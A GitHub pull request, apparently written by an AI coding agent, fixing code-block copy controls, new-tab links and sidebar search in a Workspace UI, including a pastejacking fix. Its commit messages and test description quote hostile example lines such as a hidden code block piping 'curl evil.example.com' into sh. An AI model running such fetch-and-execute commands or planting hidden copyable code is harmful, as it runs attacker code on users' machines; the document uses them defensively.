Skip to content

fix(workspace): code blocks read as code, the thread can be copied, and the Workspace opens in its own tab (#2515, ent#456, ent#402) - #2517

Merged
vybe merged 10 commits into
devfrom
vybe/issue-2515
Sep 4, 2026
Merged

vybe merged 10 commits into
devfrom
vybe/issue-2515

Conversation

@trinity-ability

@trinity-ability trinity-ability commented Sep 4, 2026 •

Copy link
Copy Markdown
Contributor

Three fixes to one surface — the Workspace thread and its sidebar. Grouped into one PR because they touch the same components, with one commit per issue so a targeted git revert <sha> stays possible.

Fixes #2515
Fixes Abilityai/trinity-enterprise#456
Fixes Abilityai/trinity-enterprise#402

Cross-tracker note: GitHub auto-closes only same-repo, so merging this closes #2515 only. ent#456 and ent#402 live in the private Abilityai/trinity-enterprise tracker and are closed manually at release — their status-in-dev bump is also manual.


What changed

#2515 — code blocks read as code, and the thread can be copied

A fenced code block in an agent's reply rendered as a same-tint paragraph in the body font and widened the bubble with a horizontal scrollbar inside a chat message — on the one surface where an agent hands you a command to run. Nothing in the thread was copyable.

A block is now its own object: a labelled bar, an always-visible Copy, wrapping at the edge (pre-wrap / overflow-wrap: anywhere, no overflow-x). The message gets its own Copy message carrying the raw markdown. Render, stylesheet and copy handler became one component — PortalMarkdown.vue inside PortalAgentBubble.vue — closing a real drift: prose-portal was applied in two transcripts and defined in both, kept byte-identical by hand.

Decoration is a second export (renderMarkdownWithCodeBlocks), never a marked renderer override: renderMarkdown has twelve consumers and a global override would sprout a Workspace copy control on all of them. renderMarkdown's body is unchanged.

ent#456 — the Workspace opens in a new tab

Both console entry points (NavBar Workspace, Agent Detail Continue in Workspace →) carry target="_blank" rel="noopener". target alone is the whole mechanism — Vue Router's guardEvent already declines to intercept a _blank or modified click, so hand-rolling window.open would take that back and break cmd/ctrl/shift-click with it. The ?tab=session redirect deliberately stays same-tab: it rewrites a navigation already in flight rather than starting one.

ent#402 — sidebar search filters agents, not just chats

Search now filters the agent roster too, agents first, via filterAgentCandidates with requireMentionable: false (a roster row is not a mention) bounded by visibleAgentRows. Per-section empty lines never stand in for each other, and the loading skeleton outranks them while the roster loads.


Security fix (found at review, in this branch)

/cso --diff caught a live pastejacking hole in the first implementation: a raw-HTML <pre><code hidden> block was receiving a working Copy control, so the copied command could differ from the visible one — a block that renders empty handed a real Copy button over curl evil | sh.

The decorator's opener rule reasoned about the <pre> element and missed the <code> one. DOMPurify 3.4.13 keeps hidden and style by default (verified against the installed dist), so stripCodeBlockMarkers (which closes the forged wrapper route) and the <pre style="display:none"> rule both passed it straight through.

Fixed in a0ee001 by requiring the <code> opener to carry nothing but an optional class — the only two shapes marked emits. It is the symmetric twin of the existing body rule: a < in the body proves raw-HTML passthrough because marked escapes fence contents; an attribute on the opener proves it for the same reason.

Confirmed in a real browser, not only in unit tests: with a hidden block beside a fenced one there are 3 <pre> elements and exactly 1 Copy control. Relaxing the guard reds the test. Fail-safe direction: a future highlighter adding an attribute (rather than a class) stops decoration and reds the spec, rather than silently widening what may carry a Copy control.

Pipeline order is the rest of the security: marked → stripCodeBlockMarkers → decorateCodeBlocks → DOMPurify.sanitize → v-html. Markers are stripped from the input first, decoration runs before sanitize (so H-005 stays literally true — every byte reaching v-html passed the one DOMPurify policy), and the only non-constant byte injected is the language label, charset-validated to ^[a-z0-9][a-z0-9_+#.-]{0,23}$.


Verification actually performed

What Result
Crux unit specs 10 files / 277 passed
Full frontend unit suite 78 files / 1699 passed (recorded at review)
Every spec consuming a changed module (re-run at ship) 33 files / 762 passed
/verify-local --skip-agent pass — unit 13712 passed / 32 skipped; integration 70 passed / 13 skipped / 2 deselected
New @smoke e2e 6/6, Chromium, isolated Vite serving this branch
workspace-absorbs-session e2e 4/4, same harness

The 2 deselected integration tests are the registry's test_webhook_rate_limit pair, which hardcode localhost:8000.

Honest caveat on /verify-local

/verify-local does not run vitest. Its green means the images build, the stack boots, migrations apply and there is no backend regression — it did not exercise a single line of this lane's frontend code. The frontend evidence is the vitest and Playwright rows above, nothing else.


Deviations from the issues' acceptance criteria

All deliberate, all recorded:

  • Inline code sits at 0.9em, not 1em. A human ruling on this is listed as a follow-up.
  • Copy-message is an action row beneath the bubble, not ChatBubble's hover overlay — an overlay collides with the code bar's own Copy control.
  • AC9 asked to "extend existing e2e coverage" — there was nothing to extend. This ships the first Workspace-thread e2e.
  • The "post-rail column width" is unverifiable: the rail (ent#474) does not exist yet.
  • --mono is realised as Tailwind's font-mono — no --mono CSS variable exists anywhere in src/frontend.

Ratchets

  • No per-file raw-colour count grew. Two parents dropped: PortalConversation 74→68, PortalRoom 48→42.
  • The two new components carry their own counts (PortalMarkdown 13, PortalAgentBubble 9) — all raw_gray chrome, zero raw_nongray hard violations, zero hardcoded hex.
  • Loading-gate counts exact; loadingGateRatchet.spec.js green.
  • Neither baseline file was regenerated.

Note the committed raw-color-baseline.json is stale repo-wide, so this lane measured per-file against origin/dev, which is the stricter reference.


OSS-core ruling — stated, not implied

ent#456 and ent#402 are enterprise-tracker features but are OSS-core by decision: deliberately ungated — no requires_entitlement, no registry read, logic stays in the OSS tree.

Recorded explicitly because CLAUDE.md's default for an enterprise-tracker feature is gated unless ruled otherwise, so this ruling must never be inferred later from the mere fact that it merged (the ent#326 / ent#384 / ent#392 discipline). Both modify a surface that moved to OSS core in ent#356 and carry no gate-able capability: a link target, and a client-side filter over a roster the caller already holds. Confirmed by the operator.


Human pre-merge steps (NOT done)

  1. Safari is unverified. Only Chromium was exercised. Safari's transient-activation clipboard rule is the reason copyText calls writeText first with nothing awaited before it — that ordering needs a real Safari check.
  2. Eyeball the execCommand fallback on a plain-http origin (LAN / Tailscale deploys, where navigator.clipboard is unavailable).

Follow-ups (listed, not filed)

  • Converge the four copyToClipboard callers onto copyText and rename to clear a latent collision — A2aPanel, McpExposedPanel and SchedulesPanel each define a local copyText today.
  • ChatBubble.vue still owns a second code-block stylesheet and a console-only clipboard failure path.
  • SchedulesPanel.vue has a fifth independent copy path.
  • PortalAgentBubble's feedback chip is a v-if-mounted aria-live region; it should pre-exist its content.
  • A human ruling on inline-code 0.9em vs 1em.
  • For Lane B's owner: views/Portal.vue swallows a failed chat search into [], so "No chats match." can be a lie.

Rebase note

PR #2484 (ent#438 agent canvas) is open and conflicting against dev. Expected interaction here is small:


Notes for the reviewer

🤖 Generated with Claude Code


CI note — the red CodeQL check is verified, and is not a vulnerability

CodeQL reports 1 new high-severity alert on this PR. It was investigated rather than dismissed on sight, and the verdict is a true pattern-match in a context where the pattern is harmless.

That helper strips comments from this repository's own source files, read off disk with readFileSync, so the spec can assert a token's absence in the code rather than in the prose (these components legitimately name v-html, overflow-x and #2515 in their comments). It sanitizes nothing, renders nothing, and never sees untrusted input. CodeQL's heuristic fires on the shape .replace(/<!--[\s\S]*?-->/g, '') because that shape is usually an HTML sanitizer; here it is a test-only source-reading utility, and the same src()/code() split already ships in portalComposerWiring.spec.js.

It does not gate this PR: the four required checks on dev are Analyze (python), Analyze (javascript-typescript), schema-parity and verify-non-root. The CodeQL alert check is not among them.

Left for the human, deliberately not actioned by an agent: either dismiss alert #341 as "used in tests" with the rationale above, or accept a one-line change to the helper. Changing test code purely to satisfy a scanner heuristic was judged the worse option, and dismissing a security alert is not an agent's call.

trinity-ability and others added 9 commits September 3, 2026 21:25
#2515, ent#456, ent#402)

Requirements before code (CLAUDE.md Rule 1). New §5.16 covering all three
issues that touch the same OSS-core Workspace surface, plus two amendments
to the sections the changes retire a sentence from:

  * §5.10 "Search still replaces both lists while active" → search filters
    the agents block in place and swaps the chat lists for results (ent#402).
  * §5.9 the `?tab=session` redirect is now explicitly SAME-TAB, with the two
    click entry points named as the ones that open a new tab (ent#456).

§5.16 records the gating ruling up front — OSS-core by decision, deliberately
ungated — because CLAUDE.md's default for an enterprise-tracker feature is
gated-unless-ruled-otherwise, and the ruling must never be inferred later from
the mere fact that it merged (the ent#326 / ent#384 / ent#392 discipline).

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The sidebar's search box searched the chat history only. It sits directly
above the agents block, and typing UNMOUNTED that block entirely — so on a
fleet larger than the collapsed window there was no way to reach an agent by
name from the one surface built to list them.

Search now filters the roster in place, agents first in a labelled section,
with the chat results below. Two rules are the whole of it, and both look
right when written the obvious way and are not:

  * `requireMentionable: false`. `filterAgentCandidates` (ent#392) defaults it
    TRUE for the composer, where an un-mentionable pick is a dead end. A
    sidebar row is not a mention — `data.scout` opens perfectly well — so
    inheriting that default would hide a real agent from a search for its own
    name. The flag lives inside `searchAgents`, not at the call site, so a
    caller cannot forget it.
  * The results window is `visibleAgentRows` — the #2424 rule the steady state
    already uses — not a fresh slice. A rank-ordered slice can drop an agent
    with an open ask, which is exactly the failure #2424 fixed for the
    collapsed list and which a second bounding rule would quietly reintroduce
    for search.

The row itself is written ONCE and mode-switched through `shownAgents`, so its
badges, availability chip and `open-agent` emit are inherited by search rather
than copied into it; and the "Show all" control stays the ONE persistent
element (#2159 — alternating two v-ifs drops keyboard focus), hidden with
v-show while searching rather than swapped for a second button.

Honest states, per section: "nothing matched at all" (both lines plus a next
action) is distinguishable from "agents matched, no chats" (the chat line
alone), and neither ever stands in for the other — the chat half is a server
request whose failure the view currently swallows into `[]`, so a combined
"nothing matches" would assert something that was never answered. While the
roster is still loading the skeleton stays: a two-character query typed during
the load must not read "No agents match." over a roster that has not arrived.

All decidable logic is pure in `portalUtils.js` — vitest runs
`environment: 'node'` with no mount harness, so a rule inside the SFC is a rule
no test can reach. No backend change, no new endpoint, no migration.

Deliberately ungated (OSS-core), per §5.16.

Tests: tests/unit/portalSidebarSearch.spec.js (28 cases + source pins).
Every pinned sidebar identifier is preserved, so portalRosterRow.spec.js and
portalAvailabilityChip.spec.js stay green untouched.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
…t#456)

The Workspace is a place you go and stay — a conversation with an agent, with
its own history and its own in-flight turn. Reaching it from the operator
console replaced whatever you were looking at, so going back meant re-finding
the agent, the tab and the scroll position.

Both console entry points — the NavBar "Workspace" item and Agent Detail's
"Continue in Workspace →" — now carry `target="_blank" rel="noopener"`.

`target` alone is the whole mechanism: Vue Router's `guardEvent` declines to
intercept a click whose target is `_blank` (and any modified click), so
`<router-link>` still resolves the href while the browser owns the click.
Hand-rolling `window.open` would take that back and break cmd/ctrl/shift-click
along with it, which is why there is none here.

The `?tab=session` redirect is deliberately NOT changed. It is a
`router.replace` rewrite of a navigation already in flight, not an entry point;
spawning a tab from it would leave the original tab sitting on a URL nobody
asked for. Its existing @smoke spec is the guard, and the new spec pins the
same-tab shape from the other side.

Also pinned: `views/Portal.vue` mounts no NavBar. NavBar is mounted per view
(App.vue renders none), so the entry's active-class expression is unreachable
in the new tab — pinning that ABSENCE is the real guarantee, where pinning the
expression would be pinning dead code.

No preference for the behaviour: the new tab is simply the default.
Deliberately ungated (OSS-core), per §5.16.

Tests: tests/unit/workspaceNewTab.spec.js

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
#2515)

A fenced code block in a Workspace reply was a slightly-tinted paragraph in
the body font. A long command widened the bubble and put a horizontal
scrollbar inside a chat message, and there was no way to copy anything —
not the block, not the reply. Selecting by hand pulled in the surrounding
prose. This is the surface where an agent hands you a command to run.

A block is now its own object: one step off the bubble's tint in both themes,
a labelled bar carrying an always-visible Copy, monospace at the AC's floor
size, and it WRAPS at the edge rather than scrolling — no bubble ever grows
past its column again. The message gets its own Copy beside it, copying the
raw markdown so a pasted answer is still an answer wherever it lands.

Three things used to be two-of-three, twice. `prose-portal` was applied in
both transcripts and defined in both — kept "byte-identical so the two cannot
drift", which is the tell that they wanted to be one thing. They are now
PortalMarkdown.vue: one v-html, one stylesheet, one delegated copy handler,
inside PortalAgentBubble.vue, which is only the chat chrome. A surface that
renders agent markdown outside a conversation mounts the former and inherits
all three rather than re-copying two of them.

Decoration is opt-in, not a marked renderer override: `renderMarkdown` has
twelve consumers and a global override would sprout a Workspace copy control
on dashboards, queue cards and reports. `renderMarkdownWithCodeBlocks` is a
second export; `renderMarkdown`'s body is byte-identical.

Order is the security of it. The pipeline is `marked → stripCodeBlockMarkers →
decorateCodeBlocks → DOMPurify.sanitize`:

  * markers are stripped from the INPUT first, because marked passes raw HTML
    through and DOMPurify keeps `data-*` — so without it an agent could ship
    its own wrapper whose Copy button resolves to a hidden `<pre>`. That is
    pastejacking, delivered in whatever the agent was told to say.
  * decoration runs BEFORE sanitization, so every byte reaching v-html has
    been through the one DOMPurify policy (H-005 stays literally true).
  * the decorator only matches the BARE `<pre><code` marked emits, and only
    decorates a body with no literal `<`. marked escapes fence contents, so a
    `<` proves raw-HTML passthrough — a block that could nest a display:none
    element whose text a copy of the wrapper would silently pick up.

The only non-constant byte injected is the language label, charset-validated
so it cannot contain `<>&"'`. The scanner is a linear indexOf walk; the lazy
regex it replaced was quadratic on adversarial input, on the render path.

Clipboard failure is named rather than logged. `navigator.clipboard` is
undefined on an insecure origin — plain http on a LAN or Tailscale address is
a first-class Trinity topology — so a missing writeText falls back to
execCommand, and only when both fail does the control say "Copy unavailable" /
"Copy blocked" / "Copy failed", in text and colour, for two seconds. writeText
is the first await in the click task (Safari's transient activation), and the
labels restore from CONSTANTS, so two clicks inside the window cannot leave a
button permanently reading "Copied". Nothing is ever logged: the payload is an
agent's output and may be the credential the operator just asked it for.

NOTE: `utils/clipboard.js` already existed with a `copyToClipboard` used by
four settings panels. It is left BYTE-IDENTICAL and the new API sits beside
it — its console.warn and its focus restoration are behaviour those callers
have today, none of them is under test, and this issue has no business
changing what happens when an operator copies an API key. A spec now pins
that export and its four callers, because replacing the module rather than
extending it would have shipped four dead buttons with a green suite.

Tests: markdownCodeBlocks (26, incl. the forged wrapper, the nested-hidden
case, the label charset, a 20k-block perf bound, and a sanitizer pin SCRAPED
from the installed DOMPurify so a bump cannot pass vacuously),
clipboardFeedback (19), portalAgentBubble (24 source pins). Two pre-existing
pins are rewritten IN THIS COMMIT, both inverted by the merge they guarded.
New @smoke e2e drives a real thread from four route mocks — the first
Workspace-thread e2e; there was no existing coverage to extend.

Deliberately ungated (OSS-core), per §5.16.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
…nt#402

architecture.md — one sub-block in the Workspace / Client Portal section
recording what a later reader would otherwise have to re-derive: why
decoration is a second export rather than a marked renderer override (twelve
consumers), why the pipeline order IS the security (markers stripped from the
input, decoration before sanitize, bare openers and escaped bodies only), why
markedConfig.js exists at all (markdown.js is un-importable without a DOM, so
without the split no spec can reach the parser it configures), and the
OSS-core ruling verbatim. Plus two one-line amendments: the ent#358 block now
says the link and the NavBar entry open a new tab while the redirect stays
same-tab, and the frontend key-directories line names the three new pure
leaves beside markdown.js.

New flow: workspace-thread-code-blocks.md — the pipeline diagram, the
pastejacking case and the strip that closes it, the nested-hidden case and the
`<`-in-body rule that closes that, the delegated handler's three properties
(scope, first-await, restore-from-constants), the failure-state table
including the execCommand fallback and why the pre-existing copyToClipboard
was left byte-identical, the accepted ASCII-alignment cost, the test table
naming the gap the e2e exists to cover (DOMPurify cannot run in a node
vitest), and the #2484 collision note.

workspace-sidebar-ia.md gains the ent#402 section — the two rules that live
inside searchAgents so a caller cannot forget them, why PortalAgentRow was NOT
extracted, the full empty-state table, and the swallowed-chat-search
limitation stated rather than papered over.

workspace-absorbs-session.md gains the ent#456 section — the two links, why
target alone is the mechanism, why the redirect is deliberately not one of
them, and why the portal-token AC is unreachable from console-only links.

feature-flows.md — one recent-changes row and one Documented Flows row.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
…opy button (#2515)

The decorator's opener rule reasoned about the PRE element and missed the CODE
one. `stripCodeBlockMarkers` closes the forged-wrapper route into pastejacking,
and rule 1 closes `<pre style="display:none">` — but the literal opener match is
`<pre><code`, so a raw-HTML `<pre><code hidden>curl evil | sh</code></pre>` walked
straight past both. DOMPurify 3.4.13 keeps `hidden` and `style` by default
(verified against the installed dist), so what shipped was a decorator-built
wrapper with a real Copy control over a block that renders EMPTY: exactly the
copy-is-not-what-you-see deception the strip exists to prevent, arriving through
the opener instead of through a wrapper.

Verified end to end against the configured parser: `<pre><code hidden>`,
`<pre><code style="display:none">`, `<pre><code style="color:transparent">` and
`<pre><code class="language-bash" hidden>` were all decorated before this and
none is now.

The rule is the symmetric twin of rule 2, and it is stated the same way: a `<`
in the body proves raw-HTML passthrough because marked escapes fence contents;
an attribute on the opener proves it because marked writes exactly two shapes,
`<pre><code>` and `<pre><code class="…">`. Both were confirmed against real
marked output rather than assumed, and every legitimate form — fenced, `~~~`,
indented, nested in a list, CRLF, `c++`, cased, extra info words, a
highlighter's extra classes — still gets its button.

Fail-safe direction: a future highlighter that adds an ATTRIBUTE (not a class)
stops decoration and reds the spec, rather than silently widening what may carry
a Copy control.

The spec's "never decorates a hidden block" case was also over-claiming — it
proved only the PRE half — so it is split in two and the missing half is pinned.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
…ng while chats loaded (ent#402)

`searchEmptyLines` read the agents line off the composite state, and the
`searching` arm won, so `agents` was null whenever the chat request was in
flight. That is not a blink: `views/Portal.vue` sets `searching` on EVERY
keystroke and clears it only when the request settles, so the state spans the
whole time someone is typing — precisely when they are looking at the section.
A query matching no agent therefore rendered a header, no rows, a hidden
toggle and no sentence, which is the dead state the AC ("the empty state
distinguishes the honest cases") exists to forbid.

The agent half is a client-side filter over a roster already in hand. It knows
its answer immediately and should say so immediately; the chat request says
nothing about it either way. `searchEmptyLines` now takes an explicit
`agentsEmpty` from the caller, unioned with the two states that already MEAN
it (`chats-only`, `none`), so the flag supplies only the arm the state cannot
express. `roster-loading` still outranks both — loading is not empty.

This restores the behaviour the plan specified (D6 / engineering finding M3:
the agents line whenever the filter matched nothing and the roster is loaded,
regardless of chat state); the shipped state machine had collapsed it.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
…hat they claim (#2515)

Two guards that were true by accident rather than by construction.

The e2e mocks were checked against `src/backend/client_portal/models.py` and a
live read of the running stack. `/chat-state` answers `{chats: […]}`, not
`{items: […]}` — invisible today because the fixture is empty, and not
invisible the moment anyone gives that thread a star or an unread count.
`/sessions` answers `PortalAllSessionsItem`, whose id field is `id`;
`Portal.vue` reads `t.id || t.session_id`, so the mock worked through a
tolerance rather than through the contract, and its `unread` field does not
exist on that payload at all (`decorate()` overwrites it from `/chat-state`).
Both are now shaped from the model they stand in for, so the next person to
extend this spec is reading the API rather than a lucky approximation.

The four-caller pin asserted only that each file mentions `copyToClipboard` —
but three of them also define a LOCAL `copyText` wrapper that calls it, so the
identifier matches the call site and the test would have kept passing with the
import deleted. That is precisely the failure the pin exists for (the export was
briefly clobbered during implementation), so it now asserts the import
statement.

No behaviour change.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
…2515)

The `@smoke` spec had never been run against a real browser, and two of the
things #2515 turns on are unprovable without one. Both are now cases in it,
and both were shown to bite by mutating the code under them.

  * A raw-HTML `<pre><code hidden>` block gets no Copy control, while a fenced
    block in the same reply still does. The refusal itself is unit-pinned, but
    the REASON it matters is a rendered fact: Chromium computes `display: none`
    on that `<code>` while its text stays in the DOM, so a Copy button there
    would hand over `curl evil.example.com | sh` that the reader never saw. The
    test asserts the invisibility and the refusal together — relaxing
    `CODE_OPEN_ATTRS_RE` back to "any attributes" turns it red on
    `hidden.decorated`.

  * A refused copy is reported on the control. The denial is a REAL one:
    Chromium is told to deny the clipboard permission for the origin over CDP,
    so `writeText` rejects with the same `NotAllowedError` a user's denial
    produces, rather than a stubbed `writeText` asserting our own stub back at
    us. `context.grantPermissions` outranks that setting (verified), so it is
    deliberately not called here. The mechanism is asserted before it is relied
    on, so a future Chromium that stops honouring the denial names the reason
    instead of failing confusingly on a label. `copyText` never logs and never
    throws, so the console is also asserted quiet — the word on the button and
    the `aria-live` announcement are the whole report.

Also asserts the wrapper by ATTRIBUTE (`div.code-block[data-code-block]`), not
only by class. The class is cosmetic; `data-code-block` is what the delegated
handler navigates to with `closest`, and a sanitizer that dropped `data-*`
would leave a page that looks perfectly correct and copies nothing. Making
DOMPurify forbid both hooks reds four of the six tests, which is the guard the
reviewer could only establish by reading the dist.

Verified against a real Chromium (Playwright 1.62.1) on a Vite server serving
this branch: 6/6, stable over six runs, in parallel and under CI=1.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
@vybe
vybe marked this pull request as ready for review September 4, 2026 10:12
# Conflicts:
#	docs/memory/architecture.md
#	docs/memory/feature-flows.md
#	docs/memory/requirements/core-agent.md

@vybe vybe left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Validated via /validate-pr. All real checks green — e2e, build, journey-smoke, gitleaks, all pytest seeds, schema-parity, verify-non-root, both Analyze jobs. Frontend only. Security scan clean.

On the red CodeQL check — I judged it a false positive rather than waving it through. The alert is js/incomplete-multi-character-sanitization (high) at tests/unit/portalAgentBubble.spec.js:26: the code() helper strips comments with a single-pass .replace(/<!--[\s\S]*?-->/g, ''), which can in principle leave a stray <!--. It is inapplicable here — the input is this repo's own source read via readFileSync, and the output goes to expect(...), never to a DOM. There is no injection surface. CodeQL is not a required context and Analyze (javascript-typescript) passes. I confirmed the alert is unchanged by my conflict resolution (same rule, same single location). I'll dismiss it as used in tests rather than rewrite the assertions to satisfy a scanner; if you'd prefer the helper hardened to a fixed point instead, that's a three-line change and I'd gate it on the full suite.

Conflicts resolved by me (architecture.md, feature-flows.md, requirements/core-agent.md) — all three were pure append-collisions, both sides kept. One needed a real decision: both this PR and dev's #2163 added a section numbered ### 5.16, so this one is renumbered to 5.17. Worth knowing that requirements-structure-guard checks only index thinness and link resolution, not number uniqueness — so the collision would have merged green, and dev already carries a pre-existing duplicate ### 5.14 for the same reason.

PortalConversation.vue auto-merged against #2518, which also touched it; I verified semantically rather than trusting the clean text merge — full frontend suite, 1775 tests, green. (That check earned its keep elsewhere in this batch: the same clean-auto-merge assumption hid a real compile break in #2484.)

The security fix in this branch is the part I'd most want on the record. /cso --diff caught a live pastejacking hole in the first implementation: a raw-HTML <pre><code hidden> block was receiving a working Copy control, so the copied command could differ from the visible one — a block rendering empty handing over a real Copy button for curl evil | sh. The opener rule reasoned about <pre> and missed <code>, and DOMPurify keeps hidden/style by default. Requiring the <code> opener to carry nothing but an optional class is the correct symmetric twin of the existing body rule.

Also right: decoration as a second export (renderMarkdownWithCodeBlocks) rather than a marked renderer override — renderMarkdown has twelve consumers and a global override would sprout a Workspace copy control on all of them.

Cross-tracker note carried forward: merging this closes #2515 only. ent#456 and ent#402 are in the private tracker and need a manual close plus status-in-dev bump at release.

Approving.

@vybe
vybe merged commit b5c6961 into dev Sep 4, 2026
26 of 27 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants